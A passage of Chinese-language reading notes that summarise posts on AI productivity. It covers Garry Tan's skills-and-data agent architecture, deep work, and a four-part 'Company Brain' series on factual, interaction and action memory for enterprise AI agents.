[Fat Skills] <----- (/Skillify automatically creates new skills)
├── meeting-ingestion (Extracts + Entity Propagation)
├── book-mirror (Reads book + Maps to personal life)
└── enrich (Pulls background + Verifies)
|
[Fat Data: GBrain (100,000 Pages)] <--------------+
├── People Pages (Meeting history, theses)
├── Idea Pages
└── Append-only Timelines
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: YC CEO 解釋自己為何每晚寫程式到凌晨兩點。他不再把 AI 當聊天視窗，而是建立了一個能產生複利的系統。
- **Book Mirror (書鏡映射)**: AI 閱讀書籍的 22 章，並同時檢索 Garry 的家庭、職涯與心理諮商筆記，生成 3 萬字將書本理念與他「真實生活」具體映射的報告。
- **交叉驗證進化**: 第一版書鏡產生了家庭背景的事實錯誤。他透過加入多模型交叉驗證（Opus 抓細節、GPT-5.5 抓上下文、DeepSeek 抓創意）與 GBrain 深度檢索，將除錯流程固化，不再犯錯。
- **元技能 (Skillify)**: 當 Garry 發現一個重複的工作流，他會說 "skillify this"。AI 會分析剛才發生的事，提取模式，並寫成一個帶有觸發條件與邊界處理的 `SKILL.md` 檔案。
- **實體傳播 (Entity Propagation)**: 會議記錄不是重點，重點是 AI 會在會議後，自動走訪所有被提及的「人名」與「公司名」的專屬頁面，並更新他們的狀態。
- **架構三大支柱**: Thin Harness (路由調度層極薄), Fat Skills (100+ 個具體任務腳本), Fat Data (100k 頁關聯知識庫)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **從「文件櫃」到「神經系統」的躍遷**: 傳統的筆記軟體（如 Notion）只是靜態存儲，需要人類主動搜索。Garry 的 GBrain 架構透過 Cron jobs 與 Agent 介入，在下一次會議前主動推送包含歷史互動與策略的 Context Pack。系統具備了主動的「關聯與預判」能力。
2. **Skillify 打破了 Prompt 的脆弱性**: 每次都寫 Prompt 是沒有記憶的勞動。透過將 Prompt 與執行邏輯封裝成實體的 `.md` 或腳本檔案（Skill），並由 Router (Harness) 動態調用，解決了單一 Context Window 塞爆的問題，實現了工程上的模組化與可測試性。
3. **無模型依賴 (Model Agnostic) 的護城河**: 架構師不該執著於哪家模型最好。Garry 的技能設計為動態呼叫：精準度要求高用 Opus 4.7，廣度抓取用 GPT-5.5。模型只是可替換的引擎，車體（技能與資料）才是資產。
### 關鍵證據
- **Demis Hassabis 會議準備案例**: 系統在 2 分鐘內提取了 Demis 的傳記重點、AGI 預測時間表、Garry 自己的公開發言，並生成了「觀點重合與分歧處」的對話策略。這證明了「Fat Data + Fat Skills」在真實高階商業決策中的壓倒性優勢。
### 邊界條件
- 這種極致的個人系統需要極強的「個人資料數位化紀律」。如果使用者平時沒有記錄會議、撰寫覆盤或整理人脈的習慣（Data = 0），這套系統的威力將無從發揮。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 此文為我們之前讀過的《OpenClaw 與 Hermes 比較》及《J叔的 SSOT 治理》提供了原始的出處與具體的使用場景。Garry Tan 的架構是目前業界 Agentic Workflow 落地的最高標竿。
- **深層洞見**: **"When someone asks how I 'prompt' my AI, the answer is: I don't. The skills are the prompts." (當有人問我怎麼『提示』我的 AI 時，答案是：我沒有。技能檔案就是提示。)** 這是從「使用者」跨越到「架構師」的決定性思維轉變。把互動固化為系統元件，才能產生複利。
- **行動呼籲**:
1. 停止在 ChatGPT 裡重複輸入相同的長篇要求。
2. 挑選一個你每週都會做的任務（例如週報整理、競品追蹤），將你的步驟與要求寫成一個獨立的 Markdown 檔案（如 `weekly-report-skill.md`）。
3. 下次讓 AI 執行時，直接載入這個檔案。這就是建立你專屬「神經系統」的第一步。
職場技能
深度工作：AI 時代唯一不可取代的終極技能 (Deep Work in the AI Era)
"這是一篇探討 AI 時代職場核心競爭力的醒世文。文章基於《深度工作》與《慢生產力》的核心思想，指出 AI 的本質是「消滅膚淺工作」。人類不可取代的護城河在於：在模糊條件下做複雜判斷、進行長期思考與產出不可複製的洞察。然而，開放式辦公與即時通訊正在摧毀我們的專注力。解法是：認清自己時間的有限性，拒絕「忙碌等於生產力」的偽命題，主動隔離干擾，透過累積「職場資本」來換取自主權，而非盲目追隨激情。"
---
tags: [職場技能, 認知思維, 產業趨勢]
date: 2026-04-26
source: "20260512_2026-04-28T092633+0800-什么是AI时代最不能被取代的技能？.md"
---
# 深度工作：AI 時代唯一不可取代的終極技能 (Deep Work in the AI Era)
原始來源與檔名：20260512_2026-04-28T092633+0800-什么是AI时代最不能被取代的技能？.md
來源：[[@SaitoWu]] / X (Twitter) — 2026-04-26
原始檔名：`2026-04-28T092633+0800-什么是AI时代最不能被取代的技能？.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Shallow Work = Repetitive, easily distracted, easily replicated -> Replaced by AI.
> Deep Work = Focused, high cognitive demand, unique insight -> Unreplaceable.
> Career Capital = Accumulating Deep Work hours > Chasing "Passion".
_面對 AI 的衝擊，什麼技能最難被取代？答案不是某種特定的程式語言或工具，而是「深度工作 (Deep Work)」的能力。AI 最擅長消滅膚淺工作（寫制式 Email、整理資料、寫套路文案）。如果你每天的工作都是在各種通知間切換、回覆零碎訊息，那你正處於被取代的邊緣。在注意力被社群媒體與即時通訊摧毀的今天，誰能刻意隔離干擾，產出高度耗腦的獨特價值，誰就能在兩極分化的市場中吃盡紅利。_
### 一句話
> 這是一篇探討 AI 時代職場核心競爭力的醒世文。文章基於《深度工作》與《慢生產力》的核心思想，指出 AI 的本質是「消滅膚淺工作」。人類不可取代的護城河在於：在模糊條件下做複雜判斷、進行長期思考與產出不可複製的洞察。然而，開放式辦公與即時通訊正在摧毀我們的專注力。解法是：認清自己時間的有限性，拒絕「忙碌等於生產力」的偽命題，主動隔離干擾，透過累積「職場資本」來換取自主權，而非盲目追隨激情。
### 餐巾紙草圖
```text
[ The AI Era Labor Divide ]
The AI Target: Shallow Work
- Replying to emails, data entry, boilerplate code.
- Can be done while distracted.
- Result: Commoditized, replaced by agents.
The Human Moat: Deep Work
- Complex judgment, consumer insight, long-term strategy.
- Requires intense, unbroken focus.
- Result: 2-3x productivity boost, Superstar Premium.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **深度工作 vs 膚淺工作**:
- 深度工作：耗盡腦力、產出不可複製、技能會隨之提升（如榮格在塔樓寫作）。
- 膚淺工作：認知要求低、邊滑手機也能做、容易被複製（如回覆制式郵件）。
- **AI 時代的兩極化**:
- AI 專注於填補膚淺工作的缺口，解放人的精力。
- 懂得深度工作的人，生產力暴增；只會做膚淺工作的人，被邊緣化。人才市場將出現極端兩極分化（超級明星 vs 可取代勞力）。
- **現代職場的反深度傾向**:
- 開放辦公、即時通訊 (Slack/Teams)、社群媒體演算法正在榨乾人類的注意力。
- 「度量黑洞」導致大家用「回了多少郵件（忙碌）」來偽裝生產力，因為深度思考的產出很難立刻量化。
- **如何實踐深度工作**:
- 選擇哲學：禁慾主義（完全隔離）、雙峰（大段閉關）、節奏（每天固定時間）。
- 落地方法：抓引領性指標（紀錄有效深度工作時長）、減少並行任務 (Do less)。
- 直面痛苦：接受自己能力的有限性，別逃避，硬著頭皮去做最困難的事。
- **職業規劃的底層邏輯**:
- 不要盲目追求「熱情 (Passion)」。
- 順序應該是：累積職場資本 -> 換取自主權 -> 追求專精 -> 熱情自然產生。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 的能力邊界**: LLM (大型語言模型) 本質上是強大的模式匹配引擎，它能以極低成本重現人類已有的「膚淺模式」（套路文章、常見代碼）。但它無法在極度模糊、缺乏既有模式的商業前線，做出帶有靈魂和人類洞察的複雜決策。這部分必須靠深度思考。
2. **偽生產力的幻覺**: 企業用回覆訊息的速度和開會的數量來衡量員工，這叫「最小阻力原則」。但這種工作模式（上下文頻繁切換）在神經學上極其消耗能量，且不產生任何新價值。AI 的到來會徹底撕破這層偽生產力的遮羞布。
3. **資本交換理論**: 很多人幻想一畢業就做「有熱情、有自由」的工作，但自由（自主權）是市場上最昂貴的商品。你必須先透過痛苦的深度工作累積出無可替代的「職場資本（稀缺技能）」，才能跟老闆或市場交換不被打擾的特權。
### 關鍵證據
- 微軟工作趨勢報告：53% 老闆覺得生產力需提升，但 80% 員工覺得已被榨乾。這個矛盾證明了現行的「膚淺工作堆疊」模式已經崩潰，唯有 AI 代勞 + 人類深度工作能解。
### 邊界條件
- 深度工作的前提是你的職位「允許」你不回訊息。如果你是客服或公關，你的職責就是快速響應（膚淺工作）。這意味著在 AI 時代，這類以響應為主的工作將面臨最直接的淘汰風險。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《Some Notes on AI》中 Linear 創辦人的觀點：AI 負責邊緣加速（消滅膚淺工作），人類專家負責品味、約束與架構（深度工作）。
- **深層洞見**: **"拖延、为难、分心，本质都是逃避这个痛苦。解法：深吸一口气，承认'我就是有限的'，然后硬着头皮去做。" (Procrastination and distraction are just avoiding the pain of our own limitations. The solution: take a deep breath, admit 'I am limited', and just do the hard work.)** 這是對抗注意力經濟毒害的終極心法。滑手機是因為我們害怕面對那張空白的文件。
- **行動呼籲**:
1. 明天上班，嘗試在行事曆上設定一個「90分鐘無干擾區 (Do Not Disturb)」。關掉 Slack，關掉信箱。
2. 在這 90 分鐘內，只推進你目前最困難、最需要動腦的那個專案。
3. 下班前，用「今天完成了幾小時深度工作」來評估自己，而不是「今天回了幾封信」。
認知思維
公司大腦 (1/4)：為什麼大多數公司有數據卻沒有「記憶」？ (Company Brain: Data vs Memory)
"這是《公司大腦 (Company Brain)》系列四部曲的第一篇總論。作者直指當前企業 AI 的盲點：大家都在做企業內部搜索 (RAG) 和會議摘要，但這只是在檢索「數據」，而非建立「記憶」。真正的組織記憶，是當你看到 CRM 裡一筆流失的訂單時，系統能告訴你當時在 Slack 裡發生了什麼爭論、誰反對了某個妥協方案、以及未來的 Agent 應該如何避開這個坑。公司大腦必須是一個整合事實、人際互動、推理脈絡與行動權限的動態作業系統。"
---
tags: [認知思維, 企業管理, Agent架構]
date: 2026-04-30
source: "20260512_2026-05-05T093730+0800-Company Brain Why Most Companies Have Data But No Memory.md"
---
# 公司大腦 (1/4)：為什麼大多數公司有數據卻沒有「記憶」？ (Company Brain: Data vs Memory)
原始來源與檔名：20260512_2026-05-05T093730+0800-Company Brain Why Most Companies Have Data But No Memory.md
來源：[[@ashwingop]] (Sentra Founder) / X (Twitter) — 2026-04-30
原始檔名：`2026-05-05T093730+0800-Company Brain Why Most Companies Have Data But No Memory.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Data != Memory.
> Corporate Memory = Stored Info + Ability to bear on present decisions.
> Company Brain = Factual Memory (What) + Interaction Memory (Why) + Context Graph (Reasoning) + Action Coordination (How/When).
_任何組織最大的內耗都是「體制摩擦 (Institutional Friction)」。公司留下了大量的數據（Slack、Tickets、CRM），但這些只是碎片。當 AI 代理人 (Agents) 試圖自動化這些碎片時，往往會失敗，因為它們缺乏「記憶」——不知道數據背後的決策原因與脈絡。Sentra 創辦人提出，真正的「公司大腦 (Company Brain)」不是一個企業搜尋引擎，而是一個活生生的模型，包含三個層次：事實記憶 (發生了什麼)、互動記憶 (人們為什麼這麼決定)、以及行動記憶 (如何協調下一步)。_
### 一句話
> 這是《公司大腦 (Company Brain)》系列四部曲的第一篇總論。作者直指當前企業 AI 的盲點：大家都在做企業內部搜索 (RAG) 和會議摘要，但這只是在檢索「數據」，而非建立「記憶」。真正的組織記憶，是當你看到 CRM 裡一筆流失的訂單時，系統能告訴你當時在 Slack 裡發生了什麼爭論、誰反對了某個妥協方案、以及未來的 Agent 應該如何避開這個坑。公司大腦必須是一個整合事實、人際互動、推理脈絡與行動權限的動態作業系統。
### 餐巾紙草圖
```text
[ The Missing "Why" in Corporate Data ]
Reality (The Meeting):
"Let's delay the launch, the auth bug is too risky. Sarah disagrees but concedes."
|
| (Compression / Loss of Context)
V
Data Artifact (Jira Ticket):
"Status: Delayed. Reason: Technical issues."
Agent's View: Sees only the Jira ticket. Misses Sarah's concern.
Company Brain's View: Connects Jira ticket back to the human interaction (The Why).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心問題**: 協調是組織中最困難的事。AI 雖然加快了工作速度，但也讓「共享上下文 (Shared context)」的脆弱性徹底暴露。
- **數據與記憶的差異**:
- 公司透過累積碎片（會議、郵件、代碼審查）成長，但這些碎片不是記憶。
- 組織記憶的定義：能「應用於當下決策」的歷史資訊。
- **Company Brain 的三層架構**:
1. **事實記憶 (Factual Memory)**: 發生了什麼。有出處、有時間戳的客觀記錄。多數企業搜尋工具（如 Glean）停在這裡。
2. **上下文圖譜/互動推理 (Context Graph)**: 將事實轉化為模型。保留事實之間的關聯，以及「為什麼這麼做」的元認知（例如：當時誰反對了？）。
3. **行動協調 (Action Coordination)**: 決定何時該行動、何時該等待。這是將上下文轉化為代理人 (Agentic AI) 實際執行的護欄。
- **為何現有 Agent 會失敗**: Agent 失敗不是因為沒有工具或數據，而是因為公司沒有保存「數據為何代表該意義」的記憶。
- **結論**: AI Native 的公司不該在破碎的數據上外掛 Agent，而該從第一天起，就把記憶、推理和行動作為公司的底層作業系統 (OS)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **壓縮失真 (Compression Loss)**: 企業中最重要的知識是在人與人的溝通中「即時」創造出來的。當這些對話被總結成一份 PRD 或一個 Jira Ticket 時，背後的「為什麼 (The Why)」已經被壓縮掉了。如果 Agent 只基於這些失真的終端產物來行動，必然會做出愚蠢的決策。
2. **會議記錄工具的必然轉型**: 作者預言，當 Apple 或作業系統底層自帶免費的語音逐字稿與摘要時，單純的會議記錄產品（如 Otter）將失去護城河。這些工具唯一的出路，是從「轉錄」走向「組織記憶的合成」，也就是變成 Company Brain 的一部分。
### 關鍵證據
- 引用 Y Combinator 關於 "Company Brain" 的 RFS (Request for Startups)，指出這不是做一個跨文件的 Chatbot，而是需要一個「Living map of how a company works」。
- 引用 McKinsey 報告指出 Agentic AI 擴展的瓶頸在於數據血緣 (Lineage) 與治理，佐證了「光給工具不夠，需要底層記憶架構」的論點。
### 邊界條件
- 「從頭建立公司大腦」對於新創公司相對容易，因為可以一開始就規範工作流。但對於已經有十年歷史、系統山頭林立、上下文早已遺失的傳統企業來說，要回溯並建立這種 Context Graph 幾乎是不可能達成的艱鉅工程。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了保羅·格雷厄姆 (Paul Graham) 的《Founder Mode》。創辦人模式的本質就是「接觸公司的真實 (Truth)」，而 Company Brain 的目的，就是透過數位化記憶，讓每個層級的管理者都能獲得不被中層管理壓縮過的「真實訊號」。
- **深層洞見**: **"Most companies have data but no memory."** 數據是靜態的墓碑，記憶是動態的神經。當你離職時，你交接的是數據；但帶走的，是公司花錢買下的記憶。
- **行動呼籲**:
身為管理者，下次在批准一項延期或預算變更時，不要只在系統裡按「Approve」。在備註欄裡寫下：「因為 A 團隊的反對，加上 B 客戶的退單風險，我們在此刻妥協了。」——為你的組織留下「為什麼」的記憶碎片。
認知思維
公司大腦 (2/4)：事實記憶，不能只是企業版搜尋引擎 (Company Brain: Factual Memory)
"這是《公司大腦》系列第二篇。探討如何建構正確的「事實記憶」。作者指出，單純的企業搜尋 (Enterprise Search) 只是把文字碎片撈出來，但缺乏權限控制與版本朔源。真正的公司大腦必須是一個「語義檔案系統 (Semantic File System)」，保存數據與數據之間的關聯圖譜。更重要的是，它不該是被動等待查詢的機器，而應該主動參與工作——例如當你在寫一份報價單時，它主動跳出來提示你該客戶先前的客訴紀錄與特殊折扣承諾。"
---
tags: [認知思維, 企業管理, Agent架構]
date: 2026-05-01
source: "20260512_2026-05-05T093832+0800-Company Brain, Part 2 Factual Memory.md"
---
# 公司大腦 (2/4)：事實記憶，不能只是企業版搜尋引擎 (Company Brain: Factual Memory)
原始來源與檔名：20260512_2026-05-05T093832+0800-Company Brain, Part 2 Factual Memory.md
來源：[[@ashwingop]] (Sentra Founder) / X (Twitter) — 2026-05-01
原始檔名：`2026-05-05T093832+0800-Company Brain, Part 2 Factual Memory.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bad Factual Memory = Central Wiki / RAG over everything = Wait for queries + List of links.
> Good Factual Memory = Semantic File System + Provenance + Proactive Surfacing + Personalization.
> Artifact Value = Content + Relationships (Account -> Ticket -> Decision -> Owner).
_公司大腦的底層是「事實記憶 (Factual Memory)」。很多人誤以為這只是把所有內部文件做成 RAG (檢索增強生成)，然後給員工一個對話框。作者警告，這樣做註定失敗，因為員工的工作場景分散在 Slack、GitHub 和各種工具中，不會主動去中央資料庫查詢。真正有效的事實記憶必須是「語義檔案系統」：它不僅知道文件內容，還知道文件的來源、權限、過期與否，並且能根據使用者的身份（CEO 或工程師）主動在工作當下推送關聯上下文。_
### 一句話
> 這是《公司大腦》系列第二篇。探討如何建構正確的「事實記憶」。作者指出，單純的企業搜尋 (Enterprise Search) 只是把文字碎片撈出來，但缺乏權限控制與版本朔源。真正的公司大腦必須是一個「語義檔案系統 (Semantic File System)」，保存數據與數據之間的關聯圖譜。更重要的是，它不該是被動等待查詢的機器，而應該主動參與工作——例如當你在寫一份報價單時，它主動跳出來提示你該客戶先前的客訴紀錄與特殊折扣承諾。
### 餐巾紙草圖
```text
[ Reactive Search vs Proactive Memory ]
Enterprise Search (Reactive):
User types "Onboarding blockers".
System returns 10 disjointed Google Doc links.
Company Brain (Proactive & Personalized):
CEO types "Onboarding blockers".
System: "Here is the strategy impact and customer churn risk."
IC types "Onboarding blockers".
System: "Here is the broken API spec and who owns the fix."
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **定義事實記憶**: 不是共享硬碟或 Wiki，而是公司回答「發生了什麼、來源在哪、誰負責、何時改變」的能力。
- **中央儲存庫的失敗**: 人們不會在 Repository 裡工作。記憶系統必須從個人工作流（Slack, Email, Docs）邊緣向外生長，自然湧現成團隊記憶。
- **個體邊界與歸屬 (Provenance)**: 系統必須區分「私人草稿」與「官方決策」，並保有明確的權限與出處追蹤（誰修改的？過期了嗎？）。
- **超越單純的 RAG**: 僅靠語義相似度擷取片段是不夠的。需要建立「語義檔案系統」，保留實體間的關係（客訴 -> 工單 -> 產品領域 -> 負責人）。
- **主動參與 (Proactive)**: 記憶不能只躲在搜尋框裡。它應該在你開啟一份文件或指派一個工單時，主動跳出相關的歷史防呆提示。
- **千人千面 (Personalization)**: 同一個問題，給工程師看的是實作細節與 Blockers，給 CEO 看的是戰略影響與客戶輪廓。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **工作習慣不可逆**: 強迫員工去更新 Wiki 注定失敗，因為那違背了人類最小阻力路徑。真正的系統必須能默默「監聽」現有工具（Slack、Jira），讓記憶在日常交流中被動產生（Emergence）。
2. **信任源自於溯源 (Provenance)**: 大語言模型最大的缺點就是一本正經地胡說八道。在企業場景中，「這句話是誰在什麼時候說的」往往比「這句話是什麼」更重要。沒有溯源機制的事實記憶，無法被用於正式的商業決策。
### 關鍵證據
- 實例對比：當被問到「計費整合怎麼了？」時，一個劣質系統給出十個文件連結；而好的系統會說：「這是最新的規格，這是以前卡住的工單，這是目前的負責人。」這種 Synthesis (合成) 能力才是記憶的價值。
### 邊界條件
- 「主動推送記憶」與「職場監控 (Surveillance)」只有一線之隔。如果系統不斷打斷使用者的工作，或者讓員工覺得自己的私下閒聊被 AI 記錄並向上呈報，將會引發嚴重的企業文化反彈與信任危機。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 此文所倡導的 Semantic File System 與 Graph 結構，完全呼應了《Build Agents that never forget》中 Cognee 引擎的設計理念（圖資料庫與向量庫的結合，注重 Provenance）。兩篇文章在技術底層邏輯上達成了驚人的一致。
- **深層洞見**: **"A knowledge base waits. Memory participates."** 知識庫是被動的字典，記憶是主動的神經反射。當你的手碰到熱水壺時，你的記憶不會等你輸入搜尋指令，它會立刻讓你的手縮回來。企業工具也該如此。
- **行動呼籲**:
檢視你們公司的內部問答機器人（如果有建置的話）。如果在回答中無法提供來源連結 (Source)，或無法明確區分這份文件的時效性 (是否已經過期)，請立刻推動升級，因為這個機器人正在用過時的假記憶污染團隊決策。
認知思維
公司大腦 (3/4)：互動記憶，保存被遺棄的「為什麼」 (Company Brain: Interaction Memory)
"這是《公司大腦》系列第三篇。事實記憶記錄了「結果」，而互動記憶保存了「過程」。作者強調，逐字稿和 AI 會議摘要依然不足，因為它們缺乏結構化理解。真正的互動記憶依賴「本體論 (Ontology)」，能把一句看似無害的會議發言，針對不同部門解讀為：對工程師是依賴項、對法務是待審批、對銷售是客戶承諾。有了這層記憶，公司大腦就能敏銳地發現：跨部門對同一個決策產生了認知分歧，或者某個妥協的假設已經悄悄破滅。"
---
tags: [認知思維, 企業管理, Agent架構]
date: 2026-05-03
source: "20260512_2026-05-05T093850+0800-Company Brain, Part 3 Interaction Memory.md"
---
# 公司大腦 (3/4)：互動記憶，保存被遺棄的「為什麼」 (Company Brain: Interaction Memory)
原始來源與檔名：20260512_2026-05-05T093850+0800-Company Brain, Part 3 Interaction Memory.md
來源：[[@ashwingop]] (Sentra Founder) / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T093850+0800-Company Brain, Part 3 Interaction Memory.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Artifacts (Jira/Docs) = Compressed Reality (Loss of "Why").
> Meetings/Slack/Emails = Interaction Memory (The Chain of Thought).
> Semantic Ontology = Translates unstructured chatter into [Decisions], [Risks], [Dependencies], [Commitments].
> Interaction Memory = Allowing the company to re-read its own past dynamically.
_公司裡所有重要的決定都發生在文件產出「之前」——那些發生在會議、Slack 或郵件中的爭論與妥協。當決策最終變成 Jira 工單或 PRD 時，真正的脈絡（為什麼這麼做？誰反對了？什麼假設被忽略了？）已經被壓縮並遺失。這篇文章探討「互動記憶 (Interaction Memory)」的重要性：它不是單純的會議逐字稿，而是利用「本體論 (Ontology)」，將人們隨口的聊天結構化為承諾、風險與決策，讓 Agent 在未來執行任務時，知道任務背後真正的人性原因。_
### 一句話
> 這是《公司大腦》系列第三篇。事實記憶記錄了「結果」，而互動記憶保存了「過程」。作者強調，逐字稿和 AI 會議摘要依然不足，因為它們缺乏結構化理解。真正的互動記憶依賴「本體論 (Ontology)」，能把一句看似無害的會議發言，針對不同部門解讀為：對工程師是依賴項、對法務是待審批、對銷售是客戶承諾。有了這層記憶，公司大腦就能敏銳地發現：跨部門對同一個決策產生了認知分歧，或者某個妥協的假設已經悄悄破滅。
### 餐巾紙草圖
```text
[ The Power of Ontology in Interaction Memory ]
Raw Utterance: "We can ship Friday if legal signs off and Acme is okay with it."
Without Ontology (Just Transcript): Saved as a string. Hard to find.
With Ontology (Interaction Memory):
-> Product Lens: [Launch Plan] with constraint.
-> Legal Lens: [Approval Dependency].
-> Sales Lens: [Conditional Commitment] to Acme account.
-> Executive Lens: [Unresolved Decision].
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **互動才是決策發源地**: 客戶抱怨、銷售承諾、架構妥協都發生在即時對話中。當這些變成工單或文件時，脈絡已經失真（被壓縮）。
- **互動記憶的定義**: 它是組織的 Chain of Thought (思維鏈)。它保存了妥協的過程、脆弱的假設以及言外之意。
- **本體論 (Ontology) 的關鍵性**: 會議記錄是不夠的。必須有一套模型來分類：這是決策、承諾、反對意見，還是風險？同一句話在不同部門眼裡有不同的意義。
- **重讀過去的能力**: 互動記憶允許公司動態改變認知。例如，一個看似微不足道的客訴，在出現三次後，系統能回溯並將其標記為「流失風險 (Churn Risk)」。
- **主動發現盲點**:
- 發現隱含的承諾但沒有負責人。
- 發現不同團隊對同一個會議決策有截然不同的理解。
- **隱私邊界**: 這種極度貼近人類思維的記憶，必須處理好權限問題，否則會變成恐怖的職場監視網。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **決策的不可逆壓縮**: 任何文字產出（Artifact）都是對現實的降維打擊。你寫下的結論永遠無法涵蓋推導結論時的各種邊界條件。如果公司只依賴 Artifacts 運作，就像是在沒有運算過程的情況下，盲目信任黑板上的最終答案。
2. **多維度的語意解析 (Multi-lens interpretation)**: 人類天生懂得「聽話聽音」，知道一句話對不同部門的影響。傳統軟體只能做文本檢索，但結合 LLM 的本體論解析，可以把非結構化的廢話，提煉成結構化的業務狀態機。這正是 AI 取代初階 PM 的核心能力。
### 關鍵證據
- 會議中的經典句型分析："We can ship this Friday if legal signs off..." 展示了如何用多視角 (Lens) 拆解一句話，這是極具說服力的產品架構展示。
### 邊界條件
- 互動記憶極度依賴語境 (Context)。人類說話充滿了諷刺、客套和反話（例如：「那可真是太棒了」）。如果 LLM 的情緒辨識能力不足，可能會把抱怨誤判為讚美，把推諉誤判為承諾，這會導致知識圖譜充滿垃圾資訊。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這篇解釋了為什麼在《可运行不等于可交付》中，設計師必須參與問題定義。因為在畫出 UI 之前，那個決定 UI 該長怎樣的「互動與爭論」，才是產品真正的靈魂。
- **深層洞見**: **"If factual memory is the company remembering its artifacts, interaction memory is the company remembering how meaning was created."** 事實記憶讓你找到文件，互動記憶讓你想起當初為什麼要寫這份文件。
- **行動呼籲**:
身為管理者，不要只依賴會議的「Action Items (待辦清單)」。請你的 AI 會議助理增加一個輸出欄位：「Unresolved Tensions (未解決的張力/隱含的風險)」，把你錯過的人際政治與妥協記錄下來。
認知思維
公司大腦 (4/4)：行動記憶，組織的神經系統與護欄 (Company Brain: Action Memory)
"這是《公司大腦》系列完結篇。行動記憶 (Action Memory) 是公司大腦中唯一具有「主動性 (Agentic)」的一層。作者指出，傳統的 RPA (機器人流程自動化) 只能執行死板的規則，但真實世界的流程充滿例外。行動記憶包含了程序、觸發點、實際執行軌跡與結果回饋。一個真正聰明的 Agent，其最高境界不是「能自動做所有事」，而是「知道哪些事絕對不能自動做 (Guardrails)」。它幫助 CEO 看見公司戰略在哪個執行環節悄悄卡死。"
---
tags: [認知思維, 企業管理, Agent架構]
date: 2026-05-04
source: "20260512_2026-05-05T093841+0800-Company Brain, Part 4 Action Memory.md"
---
# 公司大腦 (4/4)：行動記憶，組織的神經系統與護欄 (Company Brain: Action Memory)
原始來源與檔名：20260512_2026-05-05T093841+0800-Company Brain, Part 4 Action Memory.md
來源：[[@ashwingop]] (Sentra Founder) / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T093841+0800-Company Brain, Part 4 Action Memory.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Factual Memory = What happened.
> Interaction Memory = Why it happened.
> Action Memory = How / When to move + Guardrails (Knowing when NOT to act).
> Action Memory Components = Procedural (Rules) + Trigger (When) + Execution (Reality) + Outcome (Result).
_公司不僅會忘記過去發生了什麼，還會忘記「事情到底是怎麼辦成的」。官方的工作流圖往往是騙人的，真實的流程充滿了部落知識（Tribal Knowledge）與潛規則（例如折扣超過 15% 必須找誰簽核）。這篇系列終章探討「行動記憶 (Action Memory)」：它讓 Agent 知道何時該被喚醒（觸發機制）、何時該採取行動，以及更重要的——何時該「按兵不動」並向上級請示。行動記憶是連接前述記憶與 Agent 實際執行的護欄，它讓 AI 成為神經系統，而不只是一台橫衝直撞的推土機。_
### 一句話
> 這是《公司大腦》系列完結篇。行動記憶 (Action Memory) 是公司大腦中唯一具有「主動性 (Agentic)」的一層。作者指出，傳統的 RPA (機器人流程自動化) 只能執行死板的規則，但真實世界的流程充滿例外。行動記憶包含了程序、觸發點、實際執行軌跡與結果回饋。一個真正聰明的 Agent，其最高境界不是「能自動做所有事」，而是「知道哪些事絕對不能自動做 (Guardrails)」。它幫助 CEO 看見公司戰略在哪個執行環節悄悄卡死。
### 餐巾紙草圖
```text
[ Action Memory: The Intelligent Guardrail ]
Event: Customer asks for 18% discount.
Dumb Agent (Workflow only): "Approve request." (Causes finance audit failure)
Company Brain Agent (Action Memory):
- Factual: Checks policy (Standard max is 10%).
- Interaction: Remembers sales VP said "Be aggressive on Acme account".
- Action: Knows 15%+ requires explicit CFO approval.
- Decision: Drafts email to CFO for approval. DOES NOT auto-approve. (Action is to Wait/Escalate).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **什麼是行動記憶**: 記住公司實際的運作方式。不僅是記住流程，更是記住「何時該啟動流程」以及「在每一階段該發生什麼」。
- **最高級的行動是「不作為」**: 自動化系統傾向於因為能做就去做。真正的智能護欄 (Guardrails) 知道何時該等待、何時該通知人類、何時該拒絕。
- **真實流程 vs 官方流程**: 官方 SOP 通常是虛構的。隨著公司變大，真正讓事情運轉的是那些沒有寫下來的例外處理法則。
- **行動記憶的四個維度**:
1. **程序記憶 (Procedural)**: 官方規定的標準路徑。
2. **觸發記憶 (Trigger)**: 何時該醒來？（例如：指標越線、無人回應的工單、會議中隨口答應的承諾）。
3. **執行記憶 (Execution)**: 這次實際上是誰批核的？用了什麼 workaround？
4. **結果記憶 (Outcome)**: 行動後發生了什麼？（客戶滿意嗎？還是又產生了技術債？）
- **CEO 視角的價值**: 幫助高層發現「為什麼已經決定的戰略，總是在執行層面無聲無息地卡住」。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **部落知識 (Tribal Knowledge) 的流失**: 公司人員更迭時，流失最嚴重的不是技術文件，而是「知道這件事真正該找誰喬」的潛規則。如果 Agent 盲目遵循官方手冊，它永遠無法解決那些需要靈活變通的真實商業問題。
